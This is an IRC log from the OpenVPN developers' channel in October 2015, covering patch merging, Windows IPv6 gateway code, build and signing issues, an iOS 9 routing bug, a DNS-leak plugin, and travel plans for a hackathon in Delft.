-!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Tue Oct 06 2015 00:04 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 246 seconds] 00:07 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Ping timeout: 255 seconds] 00:12 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 00:43 < lev__> what is the recommended way to get patches from mail list into mbox format (to apply them with git am) ? 01:34 <@cron2> I read mail with mutt, so I just say "safe to file" - which is automatically mbox 01:36 < lev__> cron2: could you send me "[PATCH 10/10] get_default_gateway_ipv6()" as an attachment ? 01:36 <@cron2> sure :) 01:42 < lev__> grrr, it keeps saying "3 out of 5 hunks FAILED" 01:46 <@cron2> interesting. should apply quite nicely to master 01:47 <@cron2> you could clone git://github.greenie.net/openvpn-236.git/ and cherrypick the top patch from rgi6-2 branch... 01:48 <@cron2> top 2, basically - the inet_ntop() fix (configure.ac) and get_default_gateway_ipv6(): Win32 01:51 < ValdikSS> Hi guys! Did anyone test OpenVPN Connect on iOS 9 yet? 01:51 < ValdikSS> A person says it connects but doesn't change gateway 02:14 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:15 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:22 <@cron2> not tested yet, and no openvpn profiles on my lone iOS9 device yet 02:47 < lev__> cron2: compiled your patch in VS (with API level tweaks, will send patch), what practical implications does it have? 02:47 <@cron2> lev__: if you have IPv6, and run "openvpn --show-gateway", it will tell you where the current IPv6 gateway points to 02:47 <@cron2> this is sort of the "visual diagnostic" that the feature works :-) 02:48 <@cron2> the real interesting bit is: you connect over v6 to a server that pushes a v6 default route, or a v6 network that overlaps with the server's ipv6 address - and the code will now handle this properly (install a /128 host route to the current default gateway, install overlapping routes to tun/tap, cleanup on exit) 02:49 <@cron2> API level tweaks = "vcproj"? No C source changes needed? 02:50 < lev__> cron2: that one is in msvc-env.bat, added also #define HAVE_INET_NTOP if WINNT >= VISTA to config-msvc.h 02:50 < lev__> Vista has implemented inet_ntop 02:51 <@cron2> lev__: yeah, I ran into that with mingw as well :) 02:51 <@cron2> but these changes are expected (and similar to the configure.ac patch that bumps mingw level to VISTA) 02:52 <@cron2> thanks for testing, and waiting for the patch :) 02:53 < lev__> assuming that route pushed by server does not overlap with existing routes - there should not be any side effects, right? 02:53 <@cron2> in that case nothing will happen, or if you connect over v4 02:54 <@cron2> so getting this widely tested is a bit tricky, as it requires client and server to have v6 :) 03:47 < ValdikSS> So yeah, OpenVPN Connect is broken on iOS 9. 04:00 < ValdikSS> Seems like a dual-stack is broken. IPv4 traffic doesn't use VPN and goes to internet gateway. 04:00 < ValdikSS> https://forums.openvpn.net/topic19827.html#p55203 04:00 <@vpnHelper> Title: OpenVPN Support Forum IOS 9.0.1 : OpenVPN Connect (iOS) (at forums.openvpn.net) 04:04 <@cron2> whee 04:29 < ValdikSS> Where should I report bug about Connect versions? 04:32 -!- novaflash is now known as novaflash_away 04:36 <@cron2> we do forward trac tickets to openvpn tech (mattock takes care of them) 04:36 <@cron2> so, trac, on community.openvpn.net, please 04:36 <@cron2> feedback is not *truly* working so well, unfortunately, so most likely a fixed version will show up and no comment in trac whatsoever... 04:36 * cron2 pokes mattock1 to get that improved 04:44 < ValdikSS> https://community.openvpn.net/openvpn/ticket/614 04:45 <@vpnHelper> Title: #614 (Connect on iOS 9: IPv4 routing doesn't work with dual-stack) – OpenVPN Community (at community.openvpn.net) 04:45 <@vpnHelper> RSS Update - tickets: #614: Connect on iOS 9: IPv4 routing doesn't work with dual-stack <https://community.openvpn.net/openvpn/ticket/614> 05:05 < lev__> cron2: --show-gateway says "ROUTE6_GATEWAY fe80::8 I=7". ipconfig says "Default Gateway fe80::aa9d:x:y:z:k%8", is it ok ? 05:09 <@cron2> lev__: fe80::8 hints at "you ran this while another OpenVPN was active" 05:09 <@cron2> this is the pseudo-nexthop I use on the tap interface 05:10 < lev__> oh right 05:11 < lev__> disconnected vpn and it shows correct ipv6 gw 05:11 < lev__> great success! 05:11 <@cron2> :) 05:12 <@cron2> thanks! 05:50 <@vpnHelper> RSS Update - gitrepo: This fixes MSVS 2013 compilation. <https://github.com/OpenVPN/openvpn/commit/123092a7a95f13f0509d2dc52ec049f91a02686d> || get_default_gateway_ipv6(): Win32 implementation using GetBestRoute2() <https://github.com/OpenVPN/openvpn/commit/5fcd49336812053aa1503078c0ebb72a2737a6b8> || Add custom check for inet_pton()/inet_ntop() on MinGW/WIN32 <https://github.com/OpenVPN/openvpn/commit/f96baabc6cf10edddedda1819a27a6 05:50 < lev__> oops, just sent patch v2 with api level and inet/ntop fix 05:56 <@cron2> please send "only the new things" :) 06:03 <@cron2> lev__: if you rebase to master and re-send, the patch should automatically only have "the new bits" 06:05 <@cron2> syzzer: the polarssl patches 1/2+2/2 sent in March are still "this is what we want"? 06:06 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/9528 06:06 <@vpnHelper> Title: Gmane -- PATCH 1 2 polarssl: add easy logging for PolarSSL errors (at article.gmane.org) 06:12 <@cron2> Applying: polarssl: Improve PolarSSL logging 06:12 <@cron2> error: patch failed: src/openvpn/ssl_polarssl.c:857 06:12 <@cron2> error: src/openvpn/ssl_polarssl.c: patch does not apply 06:12 <@syzzer> cron2: yes, rebased on master, ofc. 06:12 <@cron2> hrm... I think this needs a rebase :) 06:12 <@syzzer> hmm 06:13 <@syzzer> was to be expected 06:13 <@syzzer> I can send rebased versions when I get home tonight 06:13 <@cron2> sorry for stalling so long :-) - I just merged 1v2 (which is nicely trivial), and 2v2 needs a rebase 06:13 <@cron2> thanks 06:13 <@cron2> is this master+2.3 or master-only? 06:14 <@syzzer> master-only 06:14 <@syzzer> we might want to port them to 2.3 later on, but that will need more work 06:16 <@cron2> anything else from your patch queue that is already on the list and got overlooked? 06:17 <@syzzer> uhm, let me see 06:18 <@syzzer> no, don't think so 06:18 < lev__> cron2: done 06:18 <@vpnHelper> RSS Update - gitrepo: polarssl: add easy logging for PolarSSL errors <https://github.com/OpenVPN/openvpn/commit/6ef5df14917500f107fd843a6dba61355edaeea0> 06:20 <@cron2> /rhome/gert/src/openvpn-maint/openvpn/.git/rebase-apply/patch:19: new blank line at EOF. 06:25 <@vpnHelper> RSS Update - gitrepo: Continuation of MSVS fixes <https://github.com/OpenVPN/openvpn/commit/b0fe94115fc4a75094d15452b7b89a0c0849087c> 06:28 <@cron2> ok, there is the big timeout patch from Arne still sitting in the queue... and Tim's and Dazo's patch sets 06:43 * cron2 pokes mattock1 about #608 07:59 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:59 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:01 <@andj> Hi everyone, discovered I hadn't been here for quite some time... 08:02 <@syzzer> he's back! 08:03 <@cron2> woo-hoo! :) 08:03 <@cron2> (he just wants an invitation for dinner on fri/sat :) ) 08:04 <@andj> Hehe, I've already gone directly to syzzer for that :p 08:04 <@andj> Then again, the hackaton did inspire some OpenVPN community revival 08:05 <@andj> I've been lurking in the background very quietly on the Fox side of OpenVPN, but haven't had much time to do stuff for the community 08:08 <@cron2> andj: well, everyone is scrambling to get their TODOs from 2014 finally done... :) 08:08 <@andj> I think my wife was going to help with a potential city-tour for non-nerds (read: partners) on saturday/sunday too :) 08:08 <@cron2> cool 08:09 <@cron2> (I should warn that at least my wife is fairly nerdy :) ) 08:09 <@andj> non-openvpn-nerds then :) 08:10 <@cron2> haha, yes :) 08:17 <@andj> quote from my wife: "i'm a bit of a nerd too" 08:29 <@cron2> whut... I get a paypal phish with a postbank.de URL inside... 08:29 <@cron2> now that was stupid 09:07 <@andj> lol, get your banks straight 09:15 <+krzee> they arent targetting people who can figure that out 09:15 <+krzee> just the people who see their banks name and click, so 2 banks might be 2x as good 10:18 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 10:18 -!- mode/#openvpn-devel [+o pekster] by ChanServ 15:46 -!- Netsplit *.net <-> *.split quits: eliasp, Eagle_Erwin, ValdikSS, @syzzer, riddle 15:48 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 256 seconds] 15:49 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 15:49 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 15:49 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 15:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:49 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 15:49 -!- ServerMode/#openvpn-devel [+o syzzer] by orwell.freenode.net 15:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:55 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 15:55 -!- arlen [~arlen@jarvis.arlen.io] has quit [Excess Flood] 15:57 -!- arlen_ [~arlen@jarvis.arlen.io] has joined #openvpn-devel 16:45 -!- arlen_ is now known as arlen 18:14 -!- saik0 [~saik0@unaffiliated/saik0] has joined #openvpn-devel 18:16 < saik0> If my server and client carts have Signature Algorithm: ecdsa-with-SHA256 and my log shows Control Channel: TLSv1, cipher TLSv1/SSLv3 ECDHE-ECDSA-AES256-SHA it is in fact using SHA1, correct? 23:40 -!- movrax [movrax@gateway/shell/anapnea.net/x-rblsutujxgwhtbhh] has quit [Ping timeout: 252 seconds] --- Day changed Wed Oct 07 2015 01:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:07 <@vpnHelper> RSS Update - tickets: #615: Test IPv6 over IPv6 <https://community.openvpn.net/openvpn/ticket/615> 02:53 <@mattock1> syzzer: what implications the SHA1->SHA256 change have: https://github.com/OpenVPN/openvpn-build/pull/13 02:53 <@vpnHelper> Title: Add support to windows-nsis/build to specify signing digest by syzzer · Pull Request #13 · OpenVPN/openvpn-build · GitHub (at github.com) 02:54 <@mattock1> note how I manage/merge pull requests in a timely manner :P 02:54 <@mattock1> I need to improve definitely 02:55 <@cron2> mattock1: definitely :) 02:56 <@mattock1> then again in life you need to improve indefinitely 02:57 <@mattock1> actually, I'll figure out how to subscribe to these pull requests... otherwise I just forget to check them 03:11 <@mattock1> for some reason I did not have watching enabled for openvpn-build 03:12 <@mattock1> auto-watching was set to "yes", which means I should been automatically subscribed to openvpn-build notifications 03:12 <@mattock1> well, not it's turned on 03:20 <@plai> *sigh* 03:22 <@plai> the fire in the DB Stellwerk Mühlheim screwed up my train connection :/ 03:29 <@cron2> ouch 03:35 <@plai> I am going to call DB support hotline to get some more information 04:02 <@cron2> mattock1: I was primarily mocking you about the T-Shirts, but if you actually take on the job again, I'm happy :-) 04:04 <@mattock1> cron2: well, I'm the Windows building and T-shirt guy :P 04:04 <@mattock1> unfortunately 04:05 <@mattock1> and we do need more T-shirts eventually, and getting the guys at California to take the job proved a futile exercise the last time 04:06 <@plai> *sigh* 04:06 <@plai> I have leave half an hour earlier 04:06 <@plai> first train now at 6:21 :/ 04:16 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Read error: Connection reset by peer] 04:18 < lev__> I got "compat-lz4.c:154:2: error: unterminated comment" when building with --enable-pedantic, is it known stuff? 04:18 <@plai> lev__: probably not 04:18 <@plai> lev__: and don't compile with clang ;) 04:19 < lev__> tried on 2 machines, gcc 4.8 / 4.9 04:36 <@cron2> lev__: --enable-pedantic seems to not like parts of our code today. But you've bringing up an interesting issue, compat-lz4.c needs a refresh from the lz4 trunk anyway 04:36 <@cron2> //************************************** 04:36 <@cron2> urgh :) 04:36 <@cron2> (this is line 154) 04:37 <@cron2> lev__: please open a trac ticket and assign to me 04:46 < lev__> https://community.openvpn.net/openvpn/ticket/616 (added you to "Cc", cannot set "Owned by") 04:46 <@vpnHelper> Title: #616 (Compilation error with --enable-pedantic) – OpenVPN Community (at community.openvpn.net) 04:47 <@vpnHelper> RSS Update - tickets: #616: Compilation error with --enable-pedantic <https://community.openvpn.net/openvpn/ticket/616> 04:51 <@cron2> got it, thanks 04:56 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 05:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 06:03 -!- dazo_afk is now known as dazo 06:11 <@vpnHelper> RSS Update - wishlistfeed: Openvpn source for iOS 9 <http://forums.openvpn.net/topic19888.html> 06:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: No route to host] 06:49 <@plai> so who can review russion language fixes? lev__? 07:00 <@mattock1> plai: the changes are/were to openvpn-gui, and I merged them to my fork 07:00 <@mattock1> without review naturally, because I don't speak russian 07:03 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:03 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:09 < mator> i do, it's my pull request =) 07:21 <@plai> mator: I think that note the idea of a review :p 07:32 <@plai> hmpf why are nexus devices getting more and more expensive 07:37 < mator> plai, wrong, my 4 years old nexus is cheaper and cheaper on second hand market =) 07:37 < mator> need to change it soon 07:38 < mator> ram/cpu pressure, though i run it with 5.1.1 android (unofficial cyanogenmod 5.1 , 26/09/15 build) 07:40 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection] 07:42 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 07:45 <@plai> mator: yeah. 07:46 <@plai> First I do not want Cyanogenmod. I cannot even count the number of times they screwed up the VPN support 07:46 <@plai> 4.2 and 4.3 might the only CM releases without a major CM specific VPN bug in their releases and milestones 07:47 <@plai> and I want a nexus device with official support to test my own app :/ 07:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 07:56 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection] 07:58 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 08:14 <@cron2> my N7 gen1 is actually behaving quite nicely again after I did a full factory reset... 08:14 <@cron2> plai: should we find someone at google to just send you a copy of every nexus device for free? 08:14 <@cron2> they must have interest in making someone debug their VPN api... 08:18 <@plai> cron2: :) 08:19 <@plai> I fear Google does not work that way. But that would be nice :D 08:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:28 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:54 < ValdikSS> plai: >so who can review russion language fixes? lev__? 08:55 < ValdikSS> plai: It's absoultely correct from the grammatic point of view. 08:56 < ValdikSS> mattock1: Everything is fine in that pull request, I checked it. 08:57 <@syzzer> mattock1: the move to SHA256 windows sigs means that pre-SP1 Windows XP won't recognize the sigs 08:58 <@syzzer> mattock1: that is for regular sigs. Support for SHA256 drivers signatures was added to W7 just recently... 08:59 <@syzzer> of course, you can only really profit from the SHA256 sigs once you also have a SHA256 signing cert :) 08:59 <@syzzer> but you don't need a SHA256 cert for it to work 09:14 < lev__> I can ACK those https://github.com/mattock/openvpn-gui/pull/1/commits 09:14 <@vpnHelper> Title: russian language fixes by mator · Pull Request #1 · mattock/openvpn-gui · GitHub (at github.com) 09:19 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Read error: Connection reset by peer] 09:21 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 09:33 < lev__> syzzer: do I need to buy train ticket from Schipol to Delft in advance or can I buy from conductor? Can I trust this site? https://www.ns.nl/producten/en/s/enkele-reis/SHL/DT/20151008 09:33 <@vpnHelper> Title: NS Products (at www.ns.nl) 09:36 < mator> lev__, i believe you can buy tickets in airport or on any other train station 09:39 < mator> lev__, ns.nl mentioned on http://wikitravel.org/en/Amsterdam 09:39 <@vpnHelper> Title: Amsterdam travel guide - Wikitravel (at wikitravel.org) 10:09 < ValdikSS> https://gist.github.com/ValdikSS/9d7b13b5ef510c6b6d45#file-openvpn-guis-md 10:09 <@vpnHelper> Title: OpenVPN open-source GUIs · GitHub (at gist.github.com) 10:09 <@syzzer> lev__: yes, ns.nl is the official site 10:10 <@syzzer> and you should buy single-use single-fare tickets 10:10 <@syzzer> you can also get rechargeble cards, but those are way more expensive if you don't come here on a regular basis 10:17 <@syzzer> oh, and what mator says: buy your trickets at the station (at the airport that is just the main hall right above the tracks) 10:17 <@syzzer> looks like this: https://stock-foto.nationalebeeldbank.nl/nationalebeeldbank_2013-6-798527-2_treinticket-kopen-op-schiphol.jpeg 10:24 < lev__> mator, syzzer: ack 10:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 10:42 < ValdikSS> https://gist.github.com/ValdikSS/9d7b13b5ef510c6b6d45#file-openvpn-guis-md Added securepoint client 10:42 <@vpnHelper> Title: OpenVPN open-source GUIs · GitHub (at gist.github.com) 12:30 <@cron2> ValdikSS: I think focusing on a windows client is most important right now, so "unified gui for all major OSes" is not something I consider crucially important - Tunnelblick does a great job on OSX, so I'm happy to let someone else bother with that platform :) 12:31 < ValdikSS> cron2: I agree. Tunnelblick handles OS X perfectly and NetworkManager handles Linux just fine. 12:32 < ValdikSS> cron2: Well, we should probably fix all the current issues of openvpn-gui or switch to securepoint then, but it's not clear about source code. 12:33 < ValdikSS> cron2: The securepoint builds are fresh (this year's) and source code is dated 2014. 12:36 <@cron2> interesting aspect, yes 12:45 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Quit: Konversation terminated!] 12:52 -!- ValdikSS [~valdikss@95.215.45.33] has joined #openvpn-devel 13:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:10 <@syzzer> securepoint actually states on their website: "Securepoint supports the OpenVPN community", so I guess they might want to even help us use their client :) 14:29 <@dazo> except that they point at openvpn.eu, which is not related to openvpn tech or us on the community side at all 14:30 <@dazo> and the info on this page is tragic ... http://www.openvpn.eu/index.php?id=49 14:30 <@vpnHelper> Title: Links: OpenVPN e.V. (at www.openvpn.eu) 14:31 <@syzzer> oh, that is not even openvpn tech 14:31 <@dazo> yeah 14:50 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 14:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 14:50 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 14:50 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 14:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:51 -!- mode/#openvpn-devel [+o dazo] by ChanServ 14:53 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 15:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 15:27 < ValdikSS> Some guy reported that my plugin breaks his tunnel if the server runs on 53 port. I can't reproduce this on both Windows 7 and Windows 10. 15:28 < ValdikSS> So I changed plugin to block only svchost.exe. Should test more. 15:31 < ValdikSS> svchost.exe is a host for all dll-services in Windows. Blocking only svchost.exe requests to port 53 is a proper way to block DNS 16:15 -!- dazo is now known as dazo_afk 16:57 <+krzee> ValdikSS, "and NetworkManager handles Linux just fine" 16:57 <+krzee> LOL 16:57 <+krzee> hella false 16:58 <+krzee> networkmanager sucks as hard as it possibly could. 16:58 <+krzee> literally could not suck worse without simply crashing when you try to run openvpn ;] 16:58 < ValdikSS> krzee: I use it literally 24/7 and, well, it has issues but it works fine. 16:58 <+krzee> i have network manager on this laptop im on right now, it cannot even start 2 vpns at the same time 16:59 < ValdikSS> krzee: I'm talking about KDE5 nm applet 16:59 <+krzee> if i start the second one it closes the first 16:59 < ValdikSS> krzee: oh yeah, that's pretty annoying. 16:59 <+krzee> i went to #nm and its a known bug 16:59 <+krzee> which is LOL worthy 16:59 <+krzee> if you're a nm dev i appologize for being rude 17:00 < ValdikSS> krzee: it's a known bug for more than 4 years or so 17:00 <+krzee> but fact is theres a good reason we recommend not using nm in #openvpn 17:00 <+krzee> its horribleness 17:00 <+krzee> !netman 17:00 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list 17:00 <+krzee> !ubuntu 17:00 <@vpnHelper> "ubuntu" is dont use network manager! 17:00 < ValdikSS> lol 17:10 < ValdikSS> https://github.com/ValdikSS/openvpn-fix-dns-leak-plugin/tree/block-only-svchost 17:10 <@vpnHelper> Title: ValdikSS/openvpn-fix-dns-leak-plugin at block-only-svchost · GitHub (at github.com) 17:10 < ValdikSS> Tested by 2 persons, works fine. Waiting for a guy who opened the issue. 17:10 < ValdikSS> Now it blocks only svchost.exe which is a host for all services including dns client. 17:17 < ValdikSS> I actually like openvpn-gui, but it have issues I wanted to solve: 17:17 < ValdikSS> 1. Fix privilege escalation. It never works for me. We should probably include manifest in a file for exe to always run it as administrator (it's in a separate file and you delete it any time) OR fix all service-related things. 17:17 < ValdikSS> 2. Make configuration import tool. I want to be able to just click on the ovpn file and it would copy it to config folder w/wo asking me. 22:30 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 246 seconds] 22:42 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel --- Day changed Thu Oct 08 2015 00:40 <@plai> screen -rd 00:40 <@plai> err 00:42 <@plai> mobile connection in the train is not good 01:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:08 <@plai> mattock1: morning 01:27 <@cron2> plai: so you're on your way to Delft already? 01:31 <@cron2> syzzer: https://polarssl.org/tech-updates/security-advisories/mbedtls-security-advisory-2015-01 - is this a problem for us, and if yes, should we bump build requirements? 01:31 <@vpnHelper> Title: mbed TLS Security Advisory 2015-01 - Tech Updates (at polarssl.org) 01:40 <@cron2> ValdikSS: indeed. The permission thingie is the "interactive service" that has been mentioned, but maybe for the time being, we should really just add a run-as-admin manifest 03:17 <@vpnHelper> RSS Update - gitrepo: polarssl: Improve PolarSSL logging <https://github.com/OpenVPN/openvpn/commit/d17d362dfec1abc5bedcea2f1154470018c82eca> 04:13 <@cron2> mattock1: your windows build bombed, but it wasn't my doing 04:43 <@mattock1> cron2: ok 05:09 <@mattock1> -> airport 05:13 <@cron2> good flight! 05:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 06:04 <@syzzer> cron2: not an issue for us, at least not for 2.3 06:04 <@syzzer> I didn't fully investigate for -master 06:17 <@cron2> good 06:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 07:45 <@cron2> gmane is no fun today 08:31 <@cron2> I can't merge-and-push because I can't get the gmane URL for the new patch... 08:32 <@cron2> ah :-) - the moment you rant about it... 08:37 <@vpnHelper> RSS Update - gitrepo: openssl: be less verbose about cipher translation errors <https://github.com/OpenVPN/openvpn/commit/7246ccfdbe6039c5c578ecaa07505307d53b8e84> 08:43 <@cron2> syzzer: MOAR PATCHES! 08:54 <@syzzer> cron2: hopefully soon :) 08:54 <@syzzer> other projects need attention now 09:01 < ValdikSS> Is there a way to reset tun-ipv6 push from server on the server side? 09:01 < ValdikSS> Like with client-config file 09:07 < ValdikSS> hrmm, it does reset, but still doesn't work on iOS 09:08 < ValdikSS> Probably because there is still ifconfig-ipv6 09:19 <@cron2> there is no "ignore this setting from the server" config today... james would have to build a new iOS client with a special gui option, I'm afraid 09:21 <@cron2> /opt/csw/bin/gm4: memory exhausted 09:21 <@cron2> autom4te: /opt/csw/bin/gm4 failed with exit status: 1 09:21 <@cron2> amazing 12:06 -!- weary [~weary@2a01:7c8:aab2:9e::1] has quit [Ping timeout: 240 seconds] 12:55 -!- dazo_afk is now known as dazo 13:03 <@dazo> krzee, I've talked to Dan Williams, one of the upstream NM developers ... they're working on multiple VPN clients ... it's a while since I really tested it, but those few times I've used it it has worked better than what it used too 13:05 <@dazo> anyhow, the multiple VPN connections seems to be a harder to crack, as it ties deeply into how NM is designed to manage *networks*, not just be a "start this service" manager 13:05 <@dazo> I've hated NM earlier on ... but I think it is slowly turning into something really useful, especially when coupled with firewalld 14:29 <@cron2> mattock1: my builder is confused... it claims "Connection to 10.177.36.101:9989 failed: timeout" - is the port wrong, or the buildmaster down? 14:30 <@cron2> I can ping, but not talk to 9989 either 15:56 -!- dazo is now known as dazo_afk 16:01 -!- dazo_afk is now known as dazo 16:39 -!- dazo is now known as dazo_afk --- Day changed Fri Oct 09 2015 01:33 <@cron2> good mornin folks :-) 01:37 <@plai> cron2: good morning 01:37 <@plai> cron2: already at fox it? 01:38 <@plai> or in the IKEA Hotel? 01:38 <@plai> (oh you aren't in delft according to wiki page, nevermind) 01:41 <@plai> You get these stuff in your Hotel: http://plai.de/.tmp/20151008233603.jpg 01:47 <@cron2> plai: we're still at home, leaving to the airport around 10 01:48 <@cron2> haha 01:48 <@cron2> Simone was considering visiting IKEA anyway 02:06 <@syzzer> andj and me are setup and ready to receive you at fox :) 02:11 <@cron2> so how does the bike thing work? 02:24 <@syzzer> you'll let me know when you arrive at the station, I'll be there with bikes 02:24 <@syzzer> (or andj will be there) 02:26 <@cron2> ah. this is easy :) 02:27 <@cron2> could you give me your mobile # again, in case Internet in the train does not want to work? 02:29 <@syzzer> (see pm) 02:30 <@cron2> tx 02:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:53 <@mattock1> good morning 03:04 <@syzzer> mattock1: mornin' :) 03:07 <@andj> Morning 03:19 <@mattock1> hi 03:19 <@mattock1> how reliable/fast is the WLAN on the IC trains? 03:20 <@mattock1> I was wondering if one can use RDP over it 03:25 <@mattock1> cron2: there? 03:25 <@mattock1> syzzer: there is an IC connection from Amsterdam to Delft that arrives at 13:55 03:26 <@syzzer> mattock1: wifi varies a lot 03:26 <@mattock1> I believe that would match cron2's schedule quite closely 03:26 <@mattock1> ok 03:26 <@syzzer> it's basically an UMTS connection, shared over wifi 03:27 <@syzzer> 13:55 works for me 03:27 <@mattock1> ok, great! 03:33 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 03:35 <@mattock1> I'll check what's up with the windows "buildslave" 03:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 04:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:24 <@mattock1> syzzer: I believe your "-h" patch to windows-nsis/build broke the buildslave 04:24 <@mattock1> Usage: osslsigncode 04:24 <@mattock1> ... 04:24 <@mattock1> ./build: 27: ./build: -h: not found FATAL: Cannot sign 'tmp/installer/openvpn/bin/openvpn-gui.exe' 04:25 <@mattock1> looks as if the parameter for -h is not passed to ./build 04:32 <@cron2> in the plane waiting for takeoff 04:33 <@cron2> aiming fir the 1355 train - when is it at shiphol? 04:36 <@mattock1> cron2: lemme check 04:36 <@cron2> planned landing at 1320, so about 1340 at train might work out 04:37 <@mattock1> ok, I'll check the schedule real quick 04:38 <@mattock1> ok so the train I was planning for leaves at 13:16 from schiphol 04:38 <@mattock1> too early, so 04:39 <@cron2> so long from shiphol to delft? 04:39 <@mattock1> at 13:46 there leaves another from schiphol, arrives at 14:25 04:42 <@cron2> wellnaim for that one r=then 04:42 <@cron2> mobile keyboards... 04:43 <@mattock1> 13:46 -> 14:25, Track 5-6, Direction Vlissingen, Intercity (NS) 04:43 <@mattock1> looks like it stops at Amsterdam central, so I'll take it too 04:44 <@cron2> it goes from shiphol to AMS first? looks non-direct... 04:45 <@cron2> ok turning off radio... 04:45 <@mattock1> its direct 04:46 <@mattock1> or at least the IC train from AMS arrives at the same time to Delft, we'll see 04:46 <@mattock1> ok, checking out from hotel, talk to you later! 04:46 <@andj> see you in a minute! 04:47 <@mattock1> syzzer: 14:25 arrival to Delft railway station ^^^ 04:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 04:59 <@syzzer> mattock: ack 05:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:09 <@mattock1> I'll try to wrap together a CONTRIBUTING file for OpenVPN while waiting: https://github.com/OpenVPN/openvpn/pull/28#issuecomment-140674277 05:09 <@vpnHelper> Title: systemd: client: use KillMode=mixed by blueyed · Pull Request #28 · OpenVPN/openvpn · GitHub (at github.com) 05:26 -!- dazo_afk is now known as dazo 05:40 <@mattock1> does this CONTRIBUTING file look ok: http://paste.fedoraproject.org/276895/87046144/ 05:40 <@mattock1> ? 05:41 <@mattock1> I'll send a patch if it does, and verify that all related projects have proper CONTRIBUTING files also 